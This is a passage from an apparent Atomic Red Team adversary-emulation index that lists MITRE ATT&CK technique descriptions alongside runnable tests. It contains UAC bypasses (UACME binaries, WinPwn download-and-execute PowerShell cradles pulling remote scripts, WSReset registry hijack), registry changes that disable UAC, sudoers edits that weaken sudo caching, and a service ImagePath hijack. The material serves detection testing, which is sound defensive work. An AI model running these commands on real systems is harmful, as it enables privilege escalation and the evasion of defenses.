"PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force executor: command: '"#{uacme_exe}" ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore name: command_prompt - name: UACME Bypass Method 34 auto_generated_guid: 695b2dac-423e-448e-b6ef-5b88e93011d6 description: "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tShell API\n\nMethod: Environment variables expansion\n\nTarget:\t\\system32\\svchost.exe via \\system32\\schtasks.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDiskCleanupEnvironmentVariable\n\nUCM Method:\tUacMethodDiskSilentCleanup\n\nhttps://github.com/hfiref0x/UACME\n" supported_platforms: - windows input_arguments: uacme_exe: description: Path to uacme executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\uacme\34 Akagi64.exe dependency_executor_name: powershell dependencies: - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}") ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force executor: command: '"#{uacme_exe}" ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore name: command_prompt - name: UACME Bypass Method 39 auto_generated_guid: 56163687-081f-47da-bb9c-7b231c5585cf description: "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Stefan Kanthak\n\nType:\tDll Hijack\n\nMethod: .NET Code Profiler\n\nTarget:\t\\system32\\mmc.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmCorProfilerMethod\n\nUCM Method:\tUacMethodCorProfiler\n\nhttps://github.com/hfiref0x/UACME\n" supported_platforms: - windows input_arguments: uacme_exe: description: Path to uacme executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\uacme\39 Akagi64.exe dependency_executor_name: powershell dependencies: - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}") ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force executor: command: '"#{uacme_exe}" ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore name: command_prompt - name: UACME Bypass Method 56 auto_generated_guid: 235ec031-cd2d-465d-a7ae-68bab281e80e description: "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Hashim Jawad\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\WSReset.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodShellWSReset\n\nhttps://github.com/hfiref0x/UACME\n" supported_platforms: - windows input_arguments: uacme_exe: description: Path to uacme executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\uacme\56 Akagi64.exe dependency_executor_name: powershell dependencies: - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}") ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force executor: command: '"#{uacme_exe}" ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore name: command_prompt - name: UACME Bypass Method 59 auto_generated_guid: dfb1b667-4bb8-4a63-a85e-29936ea75f29 description: "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tAppInfo ALPC\n\nMethod: RAiLaunchAdminProcess and DebugObject\n\nTarget:\tAttacker defined\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDebugObjectMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n" supported_platforms: - windows input_arguments: uacme_exe: description: Path to uacme executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\uacme\59 Akagi64.exe dependency_executor_name: powershell dependencies: - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}") ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force executor: command: '"#{uacme_exe}" ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore name: command_prompt - name: UACME Bypass Method 61 auto_generated_guid: 7825b576-744c-4555-856d-caf3460dc236 description: "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3/bytecode77 derivative by Nassim Asrir\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\slui.exe, \\system32\\changepk.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n" supported_platforms: - windows input_arguments: uacme_exe: description: Path to uacme executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\uacme\61 Akagi64.exe dependency_executor_name: powershell dependencies: - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}") ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force executor: command: '"#{uacme_exe}" ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore name: command_prompt - name: WinPwn - UAC Magic auto_generated_guid: 964d8bf8-37bc-4fd3-ba36-ad13761ebbcc description: UAC bypass using Magic technique via function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique magic name: powershell - name: WinPwn - UAC Bypass ccmstp technique auto_generated_guid: f3c145f9-3c8d-422c-bd99-296a17a8f567 description: UAC bypass using ccmstp technique via function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') UACBypass -noninteractive -command "C:\windows\system32\calc.exe" -technique ccmstp name: powershell - name: WinPwn - UAC Bypass DiskCleanup technique auto_generated_guid: 1ed67900-66cd-4b09-b546-2a0ef4431a0c description: UAC bypass using DiskCleanup technique via function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique DiskCleanup name: powershell - name: WinPwn - UAC Bypass DccwBypassUAC technique auto_generated_guid: 2b61977b-ae2d-4ae4-89cb-5c36c89586be description: UAC Bypass DccwBypassUAC technique via function of WinPwn supported_platforms: - windows executor: command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/dccuac.ps1') name: powershell - name: Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key auto_generated_guid: 251c5936-569f-42f4-9ac2-87a173b9e9b8 description: "Disable User Account Conrol (UAC) for admin by setting the registry key \nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin to 0.\n\n[MedusaLocker Ransomware](https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/), \n[Purple Fox Rootkit](https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit), \n[Avaddon Ransomware](https://blogs.blackberry.com/en/2021/06/threat-thursday-avaddon-ransomware-uses-ddos-attacks-as-triple-threat)\n" supported_platforms: - windows executor: command: |- $orgValue =(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin).ConsentPromptBehaviorAdmin Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0 -Type Dword -Force cleanup_command: 'Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value $orgValue -Type Dword -Force ' name: powershell elevation_required: true - name: UAC Bypass with WSReset Registry Modification auto_generated_guid: 3b96673f-9c92-40f1-8a3e-ca060846f8d9 description: "The following UAC bypass is focused on a registry key under \"HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command\" that will trigger a command once wsreset.exe runs. \nThis bypass is limited to Windows 10 1803/1809 and may not run on Server platforms. The registry mod is where interest will be.\nIf successful, the command to run will spawn off wsreset.exe. \n[UAC Bypass in Windows 10 Store Binary](https://0x1.gitlab.io/exploit/UAC-Bypass-in-Windows-10-Store-Binary/)\n" supported_platforms: - windows input_arguments: commandpath: description: Registry path type: string default: HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command commandtorun: description: Command to run type: string default: C:\Windows\System32\cmd.exe /c start cmd.exe executor: command: |- New-Item #{commandpath} -Force | Out-Null New-ItemProperty -Path #{commandpath} -Name "DelegateExecute" -Value "" -Force | Out-Null Set-ItemProperty -Path #{commandpath} -Name "(default)" -Value "#{commandtorun}" -Force -ErrorAction SilentlyContinue | Out-Null $Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden cleanup_command: 'Remove-Item #{commandpath} -Recurse -Force ' name: powershell - name: Disable UAC - Switch to the secure desktop when prompting for elevation via registry key auto_generated_guid: 85f3a526-4cfa-4fe7-98c1-dea99be025c7 description: "User Account Control (UAC) is a security mechanism for limiting the elevation of privileges, including administrative accounts, unless authorized. \nThis setting ensures that the elevation prompt is only used in secure desktop mode.\nDisable User Account Conrol (UAC) for secure desktop by setting the registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\PromptOnSecureDesktop to 0.\n" supported_platforms: - windows executor: command: Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name PromptOnSecureDesktop -Value 0 -Type Dword -Force cleanup_command: 'Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name PromptOnSecureDesktop -Value 1 -Type Dword -Force ' name: powershell elevation_required: true - name: Disable UAC notification via registry keys auto_generated_guid: 160a7c77-b00e-4111-9e45-7c2a44eda3fd description: 'This atomic regarding UACDisableNotify pertains to the notification behavior of UAC. UAC is a critical security feature in Windows that prevents unauthorized changes to the operating system. It prompts the user for permission or an administrator password before allowing actions that could affect the system''s operation or change settings that affect other users. The BlotchyQuasar RAT defense evasion activities that the adversary to disable UAC notifications makes it easier for malware and malicious software to execute with elevated privileges. [Article](https://securityintelligence.com/x-force/x-force-hive0129-targeting-financial-institutions-latam-banking-trojan/) ' supported_platforms: - windows executor: command: 'reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify /t REG_DWORD /d 1 /f ' cleanup_command: 'reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify /t REG_DWORD /d 0 /f ' name: command_prompt - name: Disable ConsentPromptBehaviorAdmin via registry keys auto_generated_guid: a768aaa2-2442-475c-8990-69cf33af0f4e description: 'This atomic regarding setting ConsentPromptBehaviorAdmin to 0 configures the UAC so that it does not prompt for consent or credentials when actions requiring elevated privileges are performed by users in the administrators group. This means that any operation that would normally trigger a UAC prompt will proceed automatically without user interaction. ' supported_platforms: - windows executor: command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f ' cleanup_command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 5 /f ' name: command_prompt T1548.003: technique: x_mitre_platforms: - Linux - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0 type: attack-pattern created: '2020-01-30T14:34:44.992Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1548.003 url: https://attack.mitre.org/techniques/T1548/003 - url: https://www.sudo.ws/ description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018. source_name: sudo man page 2018 - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017. source_name: OSX.Dok Malware - url: https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does description: Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018. source_name: cybereason osx proton modified: '2022-05-11T14:00:00.188Z' name: 'Abuse Elevation Control Mechanism: Sudo and Sudo Caching' description: |- Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges. Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again). The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though. Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user. In the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' - 'Command: Command Execution' - 'Process: Process Creation' - 'Process: Process Metadata' x_mitre_permissions_required: - User x_mitre_effective_permissions: - root spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1548.003 atomic_tests: - name: Sudo usage auto_generated_guid: 150c3a08-ee6e-48a6-aeaf-3659d24ceb4e description: 'Common Sudo enumeration methods. ' supported_platforms: - macos - linux executor: name: sh elevation_required: true command: "sudo -l \nsudo cat /etc/sudoers\nsudo vim /etc/sudoers\n" - name: Sudo usage (freebsd) auto_generated_guid: 2bf9a018-4664-438a-b435-cc6f8c6f71b1 description: 'Common Sudo enumeration methods. ' supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if sudo is installed. ' prereq_command: 'if [ ! -x "$(command -v sudo)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which pkg && pkg install -y sudo)\n" executor: name: sh elevation_required: true command: "sudo -l \nsudo cat /usr/local/etc/sudoers\nsudo ee /usr/local/etc/sudoers\n" - name: Unlimited sudo cache timeout auto_generated_guid: a7b17659-dd5e-46f7-b7d1-e6792c91d0bc description: 'Sets sudo caching timestamp_timeout to a value for unlimited. This is dangerous to modify without using ''visudo'', do not do this on a production system. ' supported_platforms: - macos - linux executor: name: sh elevation_required: true command: | sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /etc/sudoers sudo visudo -c -f /etc/sudoers - name: Unlimited sudo cache timeout (freebsd) auto_generated_guid: a83ad6e8-6f24-4d7f-8f44-75f8ab742991 description: 'Sets sudo caching timestamp_timeout to a value for unlimited. This is dangerous to modify without using ''visudo'', do not do this on a production system. ' supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if sudo is installed. ' prereq_command: 'if [ ! -x "$(command -v sudo)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which pkg && pkg install -y sudo)\n" executor: name: sh elevation_required: true command: | sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /usr/local/etc/sudoers sudo visudo -c -f /usr/local/etc/sudoers - name: Disable tty_tickets for sudo caching auto_generated_guid: 91a60b03-fb75-4d24-a42e-2eb8956e8de1 description: 'Sets sudo caching tty_tickets value to disabled. This is dangerous to modify without using ''visudo'', do not do this on a production system. ' supported_platforms: - macos - linux executor: name: sh elevation_required: true command: | sudo sh -c "echo Defaults "'!'"tty_tickets >> /etc/sudoers" sudo visudo -c -f /etc/sudoers - name: Disable tty_tickets for sudo caching (freebsd) auto_generated_guid: 4df6a0fe-2bdd-4be8-8618-a6a19654a57a description: 'Sets sudo caching tty_tickets value to disabled. This is dangerous to modify without using ''visudo'', do not do this on a production system. ' supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if sudo is installed. ' prereq_command: 'if [ ! -x "$(command -v sudo)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which pkg && pkg install -y sudo)\n" executor: name: sh elevation_required: true command: | sudo sh -c "echo Defaults "'!'"tty_tickets >> /usr/local/etc/sudoers" sudo visudo -c -f /usr/local/etc/sudoers T1574.011: technique: modified: '2023-10-31T14:00:00.188Z' name: 'Hijack Execution Flow: Services Registry Permissions Weakness' description: |- Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service) If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms) Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll.(Citation: malware_hides_service) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - Travis Smith, Tripwire - Matthew Demaske, Adaptforward x_mitre_deprecated: false x_mitre_detection: |- Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'Service: Service Modification' - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_defense_bypassed: - Application Control x_mitre_effective_permissions: - SYSTEM x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c created: '2020-03-13T11:42:14.444Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/011 external_id: T1574.011 - source_name: Tweet Registry Perms Weakness description: "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018." url: https://twitter.com/r0wdy_/status/936365549553991680 - source_name: insecure_reg_perms description: Clément Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021. url: https://itm4n.github.io/windows-registry-rpceptmapper-eop/ - source_name: Kansa Service related collectors description: 'Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.' url: https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html - source_name: malware_hides_service description: Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021. url: https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/ - source_name: Autoruns for Windows description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns - source_name: Registry Key Security description: Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017. url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN - source_name: microsoft_services_registry_tree description: Microsoft. (2021, August 5). HKLM\SYSTEM\CurrentControlSet\Services Registry Tree. Retrieved August 25, 2021. url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree - source_name: troj_zegost description: Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021. url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1574.011 atomic_tests: - name: Service Registry Permissions Weakness auto_generated_guid: f7536d63-7fd4-466f-89da-7e48d550752a description: | Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg. reg add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /f /v ImagePath /d "C:\temp\AtomicRedteam.exe" supported_platforms: - windows input_arguments: weak_service_name: description: weak service check type: string default: weakservicename executor: command: | get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\* |FL get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name} |FL name: powershell - name: Service ImagePath Change with reg.exe auto_generated_guid: f38e9eea-e1d7-4ba6-b716-584791963827 description: 'Change Service registry ImagePath of a bengin service to a malicious file ' supported_platforms: - windows input_arguments: weak_service_name: description: weak service name type: string default: calcservice weak_service_path: description: weak service path type: string default: "%windir%\\system32\\win32calc.exe" malicious_service_path: description: malicious service path type: string default: "%windir%\\system32\\cmd.exe" dependency_executor_name: powershell dependencies: - description: 'The service must exist (#{weak_service_name}) ' prereq_command: 'if (Get-Service #{weak_service_name}) {exit 0} else {exit 1} ' get_prereq_command: 'sc.exe create #{weak_service_name} binpath= "#{weak_service_path}" ' executor: command: 'reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /f /v ImagePath /d "#{malicious_service_path}" ' cleanup_command: 'sc.exe delete #{weak_service_name} ' name: command_prompt T1547: technique: modified: '2024-04-16T12:26:07.945Z' name: Boot or Logon Autostart Execution description: |- Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel. Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation 